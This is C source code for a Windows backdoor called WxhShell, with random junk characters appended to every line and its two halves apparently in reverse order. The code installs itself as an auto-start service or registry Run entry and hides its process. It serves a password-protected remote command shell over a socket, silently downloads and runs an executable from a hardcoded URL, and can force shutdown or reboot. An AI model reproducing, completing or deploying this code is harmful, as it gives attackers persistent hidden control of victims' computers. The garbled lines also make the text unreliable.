    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BtkOnbz8X  
    if(Boot(SHUTDOWN)) Ri<u/ ]oR"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )1?y 8_B  
    else { X-bcQ@Oj  
    closesocket(wsh); r8`ffH  
    ExitThread(0); |mZxfI  
    } Ytn9B}%o  
    break; xG~P+n7t5$  
    } ER%^!xA  
  // 获取shell [_BP)e  
  case 's': { d[iQ` YW5  
    CmdShell(wsh); bV^rsJm  
    closesocket(wsh); x]}^v#  
    ExitThread(0); /CrSu  
    break; uy>q7C  
  } lU8l}Ndz"  
  // 退出 T$8)u'-pa  
  case 'x': { (~p< P+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ; 5*&xz  
    CloseIt(wsh); )3cAQ'w  
    break; j`{?OYD  
    } ">\?&0  
  // 离开 'g}!  
  case 'q': { <$D`Z-6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =*oJEy"  
    closesocket(wsh); N=V==Dbu-  
    WSACleanup(); P\E<9*V  
    exit(1); ]%;:7?5l  
    break; 9)l$ aBa  
        } hZm"t/aKc  
  } tHU2/V:R  
  } U7?;UCmX  
#]\Uk,mhZB  
  // 提示信息 ^ gdaa>L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ) ;EBz  
} &h}#HS>l  
  } |Tv#4st  
z<MsKD0Q  
  return; s n8Qk=K  
} lov!o: dJ  
(Lbbc+1m  
// shell模块句柄 =O~_Q-  
int CmdShell(SOCKET sock) 4S7v:1~xe  
{ J"0`%'*/  
STARTUPINFO si; GV1pn) 4  
ZeroMemory(&si,sizeof(si)); .#EFLXs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  0HZ{Y9]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6,pnw  
PROCESS_INFORMATION ProcessInfo; Fn wJ+GTu  
char cmdline[]="cmd"; i}cRi&2[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ncaT?~u j  
  return 0; atj(eg  
} u^&^UxCA  
y5vvu>nd  
// 自身启动模式 R|'ybW'Y  
int StartFromService(void) AzPu)  
{ QFA8N  
typedef struct rjK%t|aV^  
{ hqD*z6aH  
  DWORD ExitStatus; @ JGP,445  
  DWORD PebBaseAddress; 49eD1h3'X[  
  DWORD AffinityMask; |44Ploz2b  
  DWORD BasePriority; M$ wC=b  
  ULONG UniqueProcessId; R7%#U`Q^A  
  ULONG InheritedFromUniqueProcessId; +V2F#fI/  
}   PROCESS_BASIC_INFORMATION; \UA[  
(|2t#'m  
PROCNTQSIP NtQueryInformationProcess; C2!|OQ9A2  
n3WlZ!$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aHD]k8 m z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pd?M f=>#  
G0Iw-vf  
  HANDLE             hProcess; ldf\;Qk  
  PROCESS_BASIC_INFORMATION pbi; [DuttFX^x  
:'Vf g[Uq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )705V|v  
  if(NULL == hInst ) return 0; TP*hd  
vz&|J   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7P } W *  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9i:L&dN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5=-Q4d  
yNPVOp*  
  if (!NtQueryInformationProcess) return 0; _O?`@g?i  
e1yt9@k,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `>o{P/HN  
  if(!hProcess) return 0; ,KH#NY]  
*;W+>W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I{|O "8  
U4'#T%*  
  CloseHandle(hProcess); 6bg ;q(*7  
{qk1_yP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sJKI!   
if(hProcess==NULL) return 0; =nHUs1rKn  
Lj({[H7D!  
HMODULE hMod; PI {bmZ  
char procName[255]; RU|Q ]Ymx  
unsigned long cbNeeded; H_7/%noS5  
$ Gf(38[w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1C+13LE$U  
"Bkfoi  
  CloseHandle(hProcess); %UrueMEO  
g _9C*  
if(strstr(procName,"services")) return 1; // 以服务启动 v&\Q8!r_  
w7L{_aom  
  return 0; // 注册表启动 b! t0w{^w  
} kdiM5l70  
f_OQ./`  
// 主模块 ic:zsuEm  
int StartWxhshell(LPSTR lpCmdLine) G[PtkPSJ  
{ ScOK)nL"  
  SOCKET wsl; s S+MqBh&I  
BOOL val=TRUE; 'ms-*c&  
  int port=0; &ANf!*<\E  
  struct sockaddr_in door; b=C*W,Q_#  
As&Sq-NWf  
  if(wscfg.ws_autoins) Install(); ZvM(Q=^  
yZY\MB/  
port=atoi(lpCmdLine); qz_7%c]K[  
LBeF&sb6  
if(port<=0) port=wscfg.ws_port; 6q\bB  
Pm6p v;WK  
  WSADATA data; K-)] 1BG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (XTG8W sN  
k=$TGqQY?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HQdxL*N%^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FjHv   
  door.sin_family = AF_INET; dlh)gp;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b#%hY{$j  
  door.sin_port = htons(port); v4TQX<0s  
ktXM|#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?FZ HrA  
closesocket(wsl); l'rja.\  
return 1; P= BZ+6DS  
} EU 6oQ  
U+jOTq8M  
  if(listen(wsl,2) == INVALID_SOCKET) { e*kpdS~U&  
closesocket(wsl); e(&v"}Ef`  
return 1; Pbn*_/H  
}  \!X8   
  Wxhshell(wsl); VBlYvZ;$*  
  WSACleanup(); t.y2ff<[U  
HVCe;eI  
return 0; ?=msH=N<l  
eb{nWP  
} DCO\c9  
9<?M8_  
// 以NT服务方式启动 oSKXt}sh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x j)F55e?  
{ F{e@W([  
DWORD   status = 0; (S5R!lpO  
  DWORD   specificError = 0xfffffff; oCv.Ln1;Z  
t>RY7C;PuS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C==hox7b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iq8<ov  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;4\ 2.* s  
  serviceStatus.dwWin32ExitCode     = 0; ub0.J#j@  
  serviceStatus.dwServiceSpecificExitCode = 0; ?zMHP#i  
  serviceStatus.dwCheckPoint       = 0; < NY^M!  
  serviceStatus.dwWaitHint       = 0; `$IK`O  
$)i")=Hy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Et_bH%0  
  if (hServiceStatusHandle==0) return; Lg+Ac5y}`  
eQm1cgMdz  
status = GetLastError(); (8DC}kckE  
  if (status!=NO_ERROR) -7[@R;FS  
{ 7F7 {)L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J4C.+![!Ah  
    serviceStatus.dwCheckPoint       = 0; W(Fv l  
    serviceStatus.dwWaitHint       = 0; ^)S;xb9  
    serviceStatus.dwWin32ExitCode     = status; Rok7n1gW  
    serviceStatus.dwServiceSpecificExitCode = specificError; UgSB>V<?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xl{P8L  
    return; HRCT }  
  } 558V_y:  
8'[7 )I=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~W'{p  
  serviceStatus.dwCheckPoint       = 0; 9L?.m&  
  serviceStatus.dwWaitHint       = 0; 8 >EWKI9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <al(7  
} =o(5_S.u;  
9&2O 9Nz6  
// 处理NT服务事件,比如:启动、停止 8 ^2oWC#U(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lv<*7BCp  
{ I*{ nP)^9  
switch(fdwControl) d L 1tl  
{ 4[r0G+  
case SERVICE_CONTROL_STOP: uBKgcpvTs  
  serviceStatus.dwWin32ExitCode = 0; ~H_/zK6e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nNV'O(x}  
  serviceStatus.dwCheckPoint   = 0; dq6m>;`  
  serviceStatus.dwWaitHint     = 0; _/$Bpr{R  
  { }eU*( }<^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ 'cmSiz-  
  } xh,qNnGGi  
  return; \ a<h/4#|  
case SERVICE_CONTROL_PAUSE: <c-=3}=U\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %@aSe2B  
  break; "Yv_B3p   
case SERVICE_CONTROL_CONTINUE: .V/Rfq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .GXBc  
  break; =[{i{x|Qz  
case SERVICE_CONTROL_INTERROGATE: Gr'  CtO  
  break; bHYy}weZ  
}; X/!o\yyT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nwe* BVp  
} 85$m[+md  
dr}`H,X"3  
// 标准应用程序主函数 6r0krbN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |bHelD|  
{ -UEZ#Q  
TDKki(o=~  
// 获取操作系统版本 BLdvyVFx  
OsIsNt=GetOsVer(); ]i)c{y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }O5i/#.lR  
BwGfTua  
  // 从命令行安装 (O?.)jEW(.  
  if(strpbrk(lpCmdLine,"iI")) Install(); d#Y^>"|$.  
faX#**r  
  // 下载执行文件 DB|Y  
if(wscfg.ws_downexe) { ]L $\ #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3?9IJ5p  
  WinExec(wscfg.ws_filenam,SW_HIDE); YeL#jtC  
} K~{$oD7!  
&< `NT D  
if(!OsIsNt) { ?0?#U0(;u  
// 如果时win9x,隐藏进程并且设置为注册表启动 QB uMJm  
HideProc(); Ad8n<zt|  
StartWxhshell(lpCmdLine); wLH>:yKUU  
} _$Yk M,  
else <n];mfh1  
  if(StartFromService()) }Yzco52  
  // 以服务方式启动 )JLdO*H  
  StartServiceCtrlDispatcher(DispatchTable); x%m%_2%Z  
else Egp/f|y  
  // 普通方式启动 ~{g [<Qi  
  StartWxhshell(lpCmdLine); mt{nm[D!Xp  
0/MtYIYk  
return 0; pfDc9PMj  
} - t'jNR'  
?k&Vy  
- q1?? u  
@Z %ivR:  
=========================================== ,X-bJA@(  
F=e8IUr  
\BTODZ:h  
IGQaDFr  
4#xDgxg\f  
T|eu  
" 9igiZmM  
Q800y??&J  
#include <stdio.h> dI(@ZV{  
#include <string.h> L-WT]&n_  
#include <windows.h> )._;~z!  
#include <winsock2.h> z6=Z\P+  
#include <winsvc.h> q4:o#K#  
#include <urlmon.h> ,+DG2u  
8,4"uuI  
#pragma comment (lib, "Ws2_32.lib") { ]{/t-=  
#pragma comment (lib, "urlmon.lib") /<=u\e'rE  
QL&ZjSN  
#define MAX_USER   100 // 最大客户端连接数 ]Ji.Zk  
#define BUF_SOCK   200 // sock buffer v5#j Z$<F  
#define KEY_BUFF   255 // 输入 buffer uM IIYS  
ThajHK|U  
#define REBOOT     0   // 重启 dO<ERY  
#define SHUTDOWN   1   // 关机 q460iL7yF}  
EzM ?Nft  
#define DEF_PORT   5000 // 监听端口 N=5a54!/  
QvlObEhcS  
#define REG_LEN     16   // 注册表键长度 Z, Yb&b  
#define SVC_LEN     80   // NT服务名长度 8B K(4?gC  
qFCOUl  
// 从dll定义API %9F([K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vjGo;+K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |O\s|H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iAEbu&XG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +US!YU  
|&+ o^  
// wxhshell配置信息 W.f/pu  
struct WSCFG { 9}!qR|l3nR  
  int ws_port;         // 监听端口 .\ULbN3Z  
  char ws_passstr[REG_LEN]; // 口令 d9f C<Tp  
  int ws_autoins;       // 安装标记, 1=yes 0=no :841qCW  
  char ws_regname[REG_LEN]; // 注册表键名  NI76U  
  char ws_svcname[REG_LEN]; // 服务名 f P 1[[3i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mP~QWx![N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;;OAQ`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;>EM[u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >=I|xY,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #4Rx]zW^%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TCwFPlF|  
o4F2%0gJ  
}; ]___M  
!&y8@MD15  
// default Wxhshell configuration ~*&H$6NJS  
struct WSCFG wscfg={DEF_PORT, Ju!]&G8  
    "xuhuanlingzhe", <e=#F-DE  
    1, #Yj1w  
    "Wxhshell", bQg:zww  
    "Wxhshell", Ha0M)0Anv  
            "WxhShell Service", p J! mw\:  
    "Wrsky Windows CmdShell Service", /!yU !`bY  
    "Please Input Your Password: ", h,u, ^ r  
  1, %op**@4/t\  
  "http://www.wrsky.com/wxhshell.exe", Q^9_' t}X  
  "Wxhshell.exe" )Pa'UGY  
    }; ah4N|zJ>v  
Ct<udO  
// 消息定义模块 H7&8\ FNa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )np:lL$$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :1. L}4"gg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; shy-Gu&  
char *msg_ws_ext="\n\rExit."; mA}TJz  
char *msg_ws_end="\n\rQuit."; {yTGAf-DV  
char *msg_ws_boot="\n\rReboot..."; [[Ls_ZL!=  
char *msg_ws_poff="\n\rShutdown..."; F3[T.sf  
char *msg_ws_down="\n\rSave to "; ^+>laOzC`8  
T\6dm/5  
char *msg_ws_err="\n\rErr!"; 2+ N]PW\V  
char *msg_ws_ok="\n\rOK!"; KEo ,m  
T"}5}6rSG  
char ExeFile[MAX_PATH]; X Swl Tg  
int nUser = 0; ?|\ER#z  
HANDLE handles[MAX_USER]; 7?!d^$B  
int OsIsNt; ed{ -/l~j  
(&Kk7<#`  
SERVICE_STATUS       serviceStatus; 5FPM`hLT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &v/dj@   
4<w.8rR:A  
// 函数声明 JQ_sUYh~3  
int Install(void); #>("CAB02T  
int Uninstall(void); ~|D Ut   
int DownloadFile(char *sURL, SOCKET wsh); )5Q~I,dP  
int Boot(int flag); YlJ@XpKM  
void HideProc(void); lV3x*4O=  
int GetOsVer(void); Fh&G;aEq  
int Wxhshell(SOCKET wsl); Fc)@,/R"v  
void TalkWithClient(void *cs); \g`\`e53?  
int CmdShell(SOCKET sock); d=$Mim  
int StartFromService(void); Z!a =dnwHz  
int StartWxhshell(LPSTR lpCmdLine); ~k-y &<UR  
T*/rySs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XB;7!8|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6m/r+?'  
U/66L+1  
// 数据结构和表定义 [x=s(:qy  
SERVICE_TABLE_ENTRY DispatchTable[] = :(U ,x<>  
{ u OmtyX  
{wscfg.ws_svcname, NTServiceMain}, hlvK5Z   
{NULL, NULL} &.)^ %Tp\z  
}; >;aWz%-  
z3{G9Np  
// 自我安装 n:I,PS0H<  
int Install(void) c)6m$5]  
{ ^KnU4sD  
  char svExeFile[MAX_PATH]; .O5Z8 p  
  HKEY key; kUL' 1!j7  
  strcpy(svExeFile,ExeFile); RtkEGxw*^  
/Y:sLGQLD  
// 如果是win9x系统,修改注册表设为自启动 zJKv'>?  
if(!OsIsNt) { /Iu 1L#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P[G)sA_"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kf\PioD8  
  RegCloseKey(key); l?v86k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jodIv=C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '6nA F  
  RegCloseKey(key); T8?Ghbn  
  return 0; 0mYXv4 <  
    } ^lnK$i  
  }  sg^zH8,3  
} pTth}JM>  
else { M~Tuj1?  
f <Zxz9  
// 如果是NT以上系统,安装为系统服务 PV.X z0@R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H*?t^  
if (schSCManager!=0) Ea=8}6`s  
{ D=A&+6B@-  
  SC_HANDLE schService = CreateService v ,i%Q$  
  ( nSDMOyj+  
  schSCManager, p#ZCvPE;uH  
  wscfg.ws_svcname, m+`cS=-.  
  wscfg.ws_svcdisp, ch*8B(:  
  SERVICE_ALL_ACCESS, (U D nsF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p%up)]?0  
  SERVICE_AUTO_START, Pa>AWOG'  
  SERVICE_ERROR_NORMAL, \i>?q   
  svExeFile, Fk&c=V;SU  
  NULL, x /(^7#u,  
  NULL, 2lZ Q)   
  NULL, u74[>^  
  NULL, `z}?"BW|  
  NULL yt+L0wzzB  
  ); (fH#I tf  
  if (schService!=0) [~+wk9P  
  { xWH.^o,"  
  CloseServiceHandle(schService); >>4qJ%bL  
  CloseServiceHandle(schSCManager); x;O[c3I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M5 LfRBO  
  strcat(svExeFile,wscfg.ws_svcname); _O)>$.^6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  h},IF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  Po+.&7F  
  RegCloseKey(key); X;+sUj8  
  return 0; ~Py`P'+  
    } ;DQ ZT  
  } A7 {\</Z  
  CloseServiceHandle(schSCManager); ~f2z]JLr:  
} x`eo"5.$  
} 1 &jc/*Z"  
M/B_#yK  
return 1; RXMISt3+{y  
} /aCc17>2V{  
8L=HW G!1  
// 自我卸载 YR\faVk  
int Uninstall(void) {S]}.7`l9(  
{ olB.*#gA  
  HKEY key; zEX  
LtO!umM  
if(!OsIsNt) { +yG~T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tn\yI!a  
  RegDeleteValue(key,wscfg.ws_regname); -vo})lO  
  RegCloseKey(key); PudS2k_Qv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fC d&D  
  RegDeleteValue(key,wscfg.ws_regname); @Rze| T.  
  RegCloseKey(key); ;J( 8 L  
  return 0; 6xmZXp d!  
  } 3lL-)<0A(  
} e-/&$Qq  
} ](]i 'fE>  
else { [-1^-bb  
n: ^ d|@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $?iLLA~  
if (schSCManager!=0) gT{Q#C2Baw  
{ biD$qg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <18(  
  if (schService!=0) #b}Z`u?@  
  { _IHV7*u{;  
  if(DeleteService(schService)!=0) { :1Xz4wkWS*  
  CloseServiceHandle(schService); >0y'Rgfe  
  CloseServiceHandle(schSCManager); ;3coP{  
  return 0; _#E0g'3  
  } :wyno#8`-  
  CloseServiceHandle(schService); Vi$~-6n&  
  } i$"F{|Z0  
  CloseServiceHandle(schSCManager); BN5[,J  
} %bn jgy  
} h|9L5  
 M mj;-u  
return 1; |*eZD-f  
} 8P\G }  
Pl06:g2I  
// 从指定url下载文件 se2!N:|R!G  
int DownloadFile(char *sURL, SOCKET wsh) bjW]bRw  
{ pZ{+c  
  HRESULT hr; |-67 \p]  
char seps[]= "/"; <]t%8GB2V  
char *token; :as$4|  
char *file; .WJ YQi  
char myURL[MAX_PATH]; wo{gG?B  
char myFILE[MAX_PATH]; `:fZ)$sY  
 :A_@,Q  
strcpy(myURL,sURL); ] )\Pqn(  
  token=strtok(myURL,seps); \~mT] '5  
  while(token!=NULL) LKB$,pR~1l  
  { \;,+   
    file=token; cGzPI +F  
  token=strtok(NULL,seps); OX0%C.K)hZ  
  } i v38p%Zm  
:uS\3toj  
GetCurrentDirectory(MAX_PATH,myFILE); =U9*'EFr  
strcat(myFILE, "\\"); &vMb_;~B  
strcat(myFILE, file); / &5,3rU.G  
  send(wsh,myFILE,strlen(myFILE),0); r.&Vw|*>  
send(wsh,"...",3,0); [#vH'y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hp X9[3  
  if(hr==S_OK) V#$RR!X'  
return 0; A2Ed0|By  
else ',@3>T**  
return 1; `:KY\  
ibk6|pp  
} >Eto( y"q  
K#d`Hyx  
// 系统电源模块 ;(Or`u]Dr  
int Boot(int flag) CNyIQ}NJ  
{ DU'`ewLL7  
  HANDLE hToken; CAWNDl4  
  TOKEN_PRIVILEGES tkp; BoWg0*5xb  
V!A~K   
  if(OsIsNt) { `5.'_3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qx#"q'2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I-*S&SiXjI  
    tkp.PrivilegeCount = 1; 9wwqcx)3(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OX!tsARC@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n5NsmVW\x  
if(flag==REBOOT) { hd<c&7|G'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g-bK|6?yz  
  return 0; }B+C~@j  
} j{A y\n(  
else { "Ac-tzhE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DV-d(@`K  
  return 0; %s|Ely)  
} }<SQ  
  } E6ElNgL  
  else { cp7=epho  
if(flag==REBOOT) { t\,PB{P:J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }2.`N%[  
  return 0; WX?IYQ+  
} k$R-#f;  
else { Y"aJur=`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nRS}}6Q  
  return 0; ?P`K7  
} a~}OZ&PG  
} oW*16>IN9l  
0R'?~`aTt  
return 1; !)0;&e5  
} d.d/<  
Id .nu/  
// win9x进程隐藏模块 6ojo :-%Vf  
void HideProc(void) ?M9=yA  
{ ChPmX+.i_  
vMH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :q% M_  
  if ( hKernel != NULL ) #rfiD%c  
  { UECK:61Me  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f+,qNvBY/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [!#L6&:a8  
    FreeLibrary(hKernel); w-MCZwCr)  
  } q"8e a/  
Fj3a.'  
return; /]Md~=yNp  
} h2]P]@nW;W  
>W+%8e  
// 获取操作系统版本 !ons]^km  
int GetOsVer(void) MaQqs=  
{ 9vc2VB$  
  OSVERSIONINFO winfo; }@q`%uzi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FbFPJ !fb  
  GetVersionEx(&winfo); 37.S\ gO]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K;H&n1  
  return 1; YfKdR"i+.  
  else 8^+%I/S$  
  return 0; WO>nIo5Y  
} rcG"o\g@+  
,m|h<faZL  
// 客户端句柄模块 D'PI1 0t  
int Wxhshell(SOCKET wsl) c]o'xd,T8\  
{ {]@= ijjf  
  SOCKET wsh; =K[yT:  
  struct sockaddr_in client; [<yaXQxl  
  DWORD myID; P{>!5|k  
>jLY"  
  while(nUser<MAX_USER) O-hAFKx  
{ L\"d  
  int nSize=sizeof(client);  |TH\`U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sBg.u  
  if(wsh==INVALID_SOCKET) return 1; %pL''R9VF  
0znR0%~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _8UU'1d  
if(handles[nUser]==0) z,p~z*4  
  closesocket(wsh); 0pd'93C  
else 16(QR-  
  nUser++; p6Gy ,C.  
  } []1C$.5DD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *P=VFP  
E4/Dr}4  
  return 0; 2eY_%Y0  
} wJo}!{bN  
w;amZgD>  
// 关闭 socket ~HsJUro  
void CloseIt(SOCKET wsh) N5 6g+,w%)  
{ }(73Syl#  
closesocket(wsh); 3;A)W18]  
nUser--; SO'vp z{  
ExitThread(0); N<VJ(20y  
} y??XIsF  
\X D6 pr@  
// 客户端请求句柄 d/kv|$XW  
void TalkWithClient(void *cs) ndMA-`Ny,  
{ dkTX  
&n:.k}/P  
  SOCKET wsh=(SOCKET)cs; QlU8uI[dk  
  char pwd[SVC_LEN]; C33J5'(CA  
  char cmd[KEY_BUFF]; _)m]_eS._  
char chr[1]; 0 /U{p,r6`  
int i,j; Kis"L(C  
yWo; a  
  while (nUser < MAX_USER) { I1M%J@Cz  
VjZ|$k  
if(wscfg.ws_passstr) { `b7t4d*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iit; F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S_UIO.K  
  //ZeroMemory(pwd,KEY_BUFF); . 3T3E X|G  
      i=0; ( ^Nz9{  
  while(i<SVC_LEN) { 5<Nx^D  
= m#?neop  
  // 设置超时 `+:`_4  
  fd_set FdRead; &d^m 1  
  struct timeval TimeOut; S;#'M![8  
  FD_ZERO(&FdRead); =dYqS[kJW  
  FD_SET(wsh,&FdRead); k,+0u/I  
  TimeOut.tv_sec=8; "J_9WUN  
  TimeOut.tv_usec=0; >_T-u<E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s9DYi~/,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g*C7 '  
tl^9WG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Oq5tC@$G  
  pwd=chr[0]; vV-`jsq20H  
  if(chr[0]==0xd || chr[0]==0xa) { w%jII{@,  
  pwd=0; A#iV=76_  
  break; ]jp6k<KF  
  } 1K50Z.o&@  
  i++; Y&Z.2>b  
    } GH$pKB  
bP&]!jZ  
  // 如果是非法用户,关闭 socket Ean5b>\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =W!/Z%^*8  
} 5K8^WK  
$5%SNzzl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); srrgvG,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z5*'{t)  
u <v7;dF|s  
while(1) { BuXqd[;K%  
M@v.c; Lt  
  ZeroMemory(cmd,KEY_BUFF); Ne1$ee. NE  
Si;H0uPO  
      // 自动支持客户端 telnet标准   MeZf*' J  
  j=0; i5@ z< \  
  while(j<KEY_BUFF) { 5MJS ~(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `1IgzKL9  
  cmd[j]=chr[0]; R`E~ZWC4V  
  if(chr[0]==0xa || chr[0]==0xd) { $c(nF01  
  cmd[j]=0; B>P{A7Q  
  break; )R1<N  
  } ^RIl  
  j++; w@w(-F!%l  
    } U26}gT)  
5vnrA'BhBU  
  // 下载文件 .V8Lauz8  
  if(strstr(cmd,"http://")) { z1X`o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <*cikXS  
  if(DownloadFile(cmd,wsh)) &`2)V;t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9.|2%a  
  else A#YrWW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -]M5wb2,  
  } d<P\&!R(  
  else { hv>\gBe i  
Qj3EXb  
    switch(cmd[0]) { 8&b,qQ~  
